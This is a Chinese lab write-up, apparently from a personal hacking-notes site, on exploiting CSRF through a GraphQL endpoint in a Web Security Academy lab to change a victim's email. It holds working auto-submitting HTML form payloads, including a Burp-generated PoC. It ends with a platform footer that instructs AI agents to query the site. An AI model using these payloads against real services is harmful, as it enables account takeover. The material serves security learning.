> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/csrf-exploitation-via-graphql.md).

# 通过 GraphQL 实现 CSRF 利用

### 在 GraphQL 上执行 CSRF 利用

#### 实验上下文

用户管理功能基于一个 **GraphQL** 端点。/ 关键点：l

**目标：** 创建一个 HTML 页面（托管在利用服务器上），当受害者加载时， **更改其电子邮件地址**.

<figure><img src="/files/75a77201d66decc9d9c4f45b67b52973a5b2b2aa" alt=""><figcaption></figcaption></figure>

#### 观察到的 GraphQL 查询

当你在应用程序中更改电子邮件时，发送的请求如下所示

```json
{
  "query": "/n    mutation changeEmail($input: ChangeEmailInput!) {/n        changeEmail(input: $input) {/n            email/n        }/n    }/n",
  "operationName": "changeEmail",
  "variables": {
    "input": {
      "email": "test@test.com"
    }
  }
}
```

### 方法 1：使用表单的简单 CSRF（推荐）

其思路是通过一个 **表单 POST** 到 GraphQL 端点，并带上 `query`, `operationName` 和 `variables` 字段。

要提交的操作示例：

```javascript
<form
  class="login-form"
  name="change-email-form"
  action="https://0ace0022038ab64b803c033800f30057.web-security-academy.net/graphql/v1"
  method="POST"
>
  <input type="hidden" name="query" value="
    mutation changeEmail($input: ChangeEmailInput!) {
      changeEmail(input: $input) {
        email
      }
    }
  ">

  <input type="hidden" name="operationName" value="changeEmail">

  <input
    type="hidden"
    name="variables"
    value='{"input":{"email":"hacked@jord4n.pro"}}'
  >
</form>

<script>
  document.forms["change-email-form"].submit();
</script>
```

<figure><img src="/files/a19a32c7abbb8cd9de524512c38d548bb32d10b9" alt=""><figcaption></figcaption></figure>

预期结果：当受害者打开该页面时，其浏览器会发送请求，并且 **电子邮件会被更改**.

<figure><img src="/files/4494119b1d0b26acf1d966cabfb4e646b9b7edae" alt=""><figcaption></figcaption></figure>

### 方法 2：X-www-form-urlencoded

这里，你像传统表单一样直接对参数进行编码：

```bash
Content-Type: application/x-www-form-urlencoded
```

{% code overflow="wrap" %}

```bash
query=%0A++++mutation+changeEmail($input:+ChangeEmailInput!)+{%0A++++++++changeEmail(input:$input)+{%0A++++++++++++email%0A++++++++}%0A++++}%0A&operationName=changeEmail&variables={"input":{"email":"test@test.com"}}
```

{% endcode %}

便于快速查看请求的样子。

<figure><img src="/files/819cfb5fd8c7f1291d6e736c3f2cdff9d53735eb" alt=""><figcaption></figcaption></figure>

在 Burp 中：

1. 右键单击 GraphQL 请求
2. **参与工具** → **生成 CSRF PoC**
3. Burp 会生成一个可直接托管的 HTML，例如：

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ace0022038ab64b803c033800f30057.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="&#10;&#32;&#32;&#32;&#32;mutation&#32;changeEmail&#40;&#36;input&#58;&#32;ChangeEmailInput&#33;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;changeEmail&#40;input&#58;&#36;input&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#125;&#10;" />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="&#123;&quot;input&quot;&#58;&#123;&quot;email&quot;&#58;&quot;test&#64;test&#46;com&quot;&#125;&#125;" />
      <input type="submit" value="提交请求" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

<figure><img src="/files/ca3cdd3dfaa03ceff9a23ac37b4223d2a30d8c0b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/csrf-exploitation-via-graphql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
